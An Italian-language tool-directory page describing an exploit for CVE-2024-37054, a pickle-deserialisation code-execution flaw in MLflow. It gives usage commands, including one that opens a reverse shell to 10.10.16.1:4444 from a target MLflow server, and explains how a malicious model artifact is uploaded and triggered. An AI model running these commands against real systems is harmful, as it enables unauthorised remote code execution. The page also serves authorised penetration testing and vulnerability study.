Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37054 — CVE-2024-37054 exploit e documentazione | Kitploit
Strumenti/GitHubGitHub/tristanqtn/cve-2024-37054
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 exploit e documentazione

Vedi Repository
1186 mesi faNon ancora revisionato
Condividi

CVE-2024-37054 — Deserializzazione RCE di MLflow pyfunc

Gravità: Critica
Interessati: MLflow 0.9.0 – 2.14.1
Tipo: Esecuzione arbitraria di codice tramite deserializzazione pickle Python

Descrizione

mlflow.pyfunc.load_model() deserializza python_model.pkl dall'archivio degli artefatti senza alcuna sanificazione. Un attaccante in grado di raggiungere l'API REST degli artefatti MLflow può sovrascrivere quel file con un pickle dannoso, che esegue comandi arbitrari del sistema operativo al successivo caricamento del modello.

Requisiti

pip install requests cloudpickle

Utilizzo

# Enumerazione dei modelli registrati
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Modello esplicito + autenticazione Basic MLflow
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Opzioni principali

FlagDescrizione
--mlflow URLURL base del server di tracciamento MLflow (obbligatorio)
--model NAMENome del modello registrato — se omesso, seleziona automaticamente il primo
--version NVersione del modello — per default l'ultima
--user / --passCredenziali HTTP Basic Auth per MLflow
--run-id / --exp-idSalta l'individuazione del modello usando ID noti
--trigger-url URLEndpoint dell'app che chiama load_model() — se omesso, solo upload
--session COOKIECookie di sessione inviato con la richiesta di attivazione

Come funziona

  1. Scoperta — interroga /api/2.0/mlflow/registered-models/search per trovare un modello e il suo run_id / experiment_id
  2. Avvelenamento — PUT di un payload cloudpickle malevolo su /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Attivazione — qualsiasi percorso di codice che chiama mlflow.pyfunc.load_model() su quel modello deserializza il payload ed esegue il comando

Il passo di attivazione richiede un endpoint dell'applicazione che carichi il modello. Se non ne è noto alcuno, usa --no-trigger (o ometti --trigger-url) e attiva il caricamento con qualsiasi mezzo disponibile.

Disclaimer

Solo per test di penetrazione autorizzati e scopi educativi.

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    968
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    556
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    347
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    346
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    319
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    297

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →